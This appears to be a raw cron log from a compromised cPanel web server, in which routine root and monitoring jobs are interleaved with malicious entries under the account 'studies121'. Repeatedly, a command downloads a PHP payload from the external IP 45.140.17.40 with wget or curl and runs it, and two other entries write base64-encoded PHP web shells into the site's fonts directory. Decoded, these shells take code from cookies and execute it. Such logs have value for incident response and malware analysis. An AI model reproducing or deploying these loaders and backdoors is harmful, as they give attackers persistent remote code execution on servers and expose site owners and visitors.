Feb 22 09:14:01 ip-184-168-122-23 CROND[4744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:14:01 ip-184-168-122-23 CROND[4745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:15:01 ip-184-168-122-23 CROND[5166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:15:01 ip-184-168-122-23 CROND[5168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:15:01 ip-184-168-122-23 CROND[5171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:15:01 ip-184-168-122-23 CROND[5169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:15:01 ip-184-168-122-23 CROND[5172]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:15:01 ip-184-168-122-23 CROND[5170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:16:01 ip-184-168-122-23 CROND[5516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:16:01 ip-184-168-122-23 CROND[5518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:16:01 ip-184-168-122-23 CROND[5520]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 09:16:01 ip-184-168-122-23 CROND[5523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:16:01 ip-184-168-122-23 CROND[5522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:16:01 ip-184-168-122-23 CROND[5526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:17:01 ip-184-168-122-23 CROND[5847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:17:01 ip-184-168-122-23 CROND[5846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:17:01 ip-184-168-122-23 CROND[5850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:17:01 ip-184-168-122-23 CROND[5851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:18:01 ip-184-168-122-23 CROND[6187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:18:01 ip-184-168-122-23 CROND[6190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:18:01 ip-184-168-122-23 CROND[6189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:18:01 ip-184-168-122-23 CROND[6192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:18:01 ip-184-168-122-23 CROND[6191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:19:01 ip-184-168-122-23 CROND[6506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:19:01 ip-184-168-122-23 CROND[6507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:19:01 ip-184-168-122-23 CROND[6508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:19:01 ip-184-168-122-23 CROND[6511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:20:02 ip-184-168-122-23 CROND[6930]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 09:20:02 ip-184-168-122-23 CROND[6933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:20:02 ip-184-168-122-23 CROND[6934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:20:02 ip-184-168-122-23 CROND[6937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:20:02 ip-184-168-122-23 CROND[6938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:20:02 ip-184-168-122-23 CROND[6941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:20:02 ip-184-168-122-23 CROND[6939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:20:02 ip-184-168-122-23 CROND[6942]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 09:20:02 ip-184-168-122-23 CROND[6940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:21:01 ip-184-168-122-23 CROND[7276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:21:01 ip-184-168-122-23 CROND[7278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:21:01 ip-184-168-122-23 CROND[7279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:21:01 ip-184-168-122-23 CROND[7280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:22:01 ip-184-168-122-23 CROND[7577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:22:01 ip-184-168-122-23 CROND[7580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:22:01 ip-184-168-122-23 CROND[7581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:22:01 ip-184-168-122-23 CROND[7582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:22:01 ip-184-168-122-23 CROND[7583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:23:01 ip-184-168-122-23 CROND[7922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:23:01 ip-184-168-122-23 CROND[7924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:23:01 ip-184-168-122-23 CROND[7925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:23:01 ip-184-168-122-23 CROND[7928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:24:01 ip-184-168-122-23 CROND[8168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:24:01 ip-184-168-122-23 CROND[8171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:24:01 ip-184-168-122-23 CROND[8172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:24:01 ip-184-168-122-23 CROND[8173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:24:01 ip-184-168-122-23 CROND[8170]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:25:01 ip-184-168-122-23 CROND[8467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:25:01 ip-184-168-122-23 CROND[8466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:25:01 ip-184-168-122-23 CROND[8469]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:25:01 ip-184-168-122-23 CROND[8470]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:25:01 ip-184-168-122-23 CROND[8472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:25:01 ip-184-168-122-23 CROND[8473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:26:01 ip-184-168-122-23 CROND[8829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:26:01 ip-184-168-122-23 CROND[8830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:26:01 ip-184-168-122-23 CROND[8833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
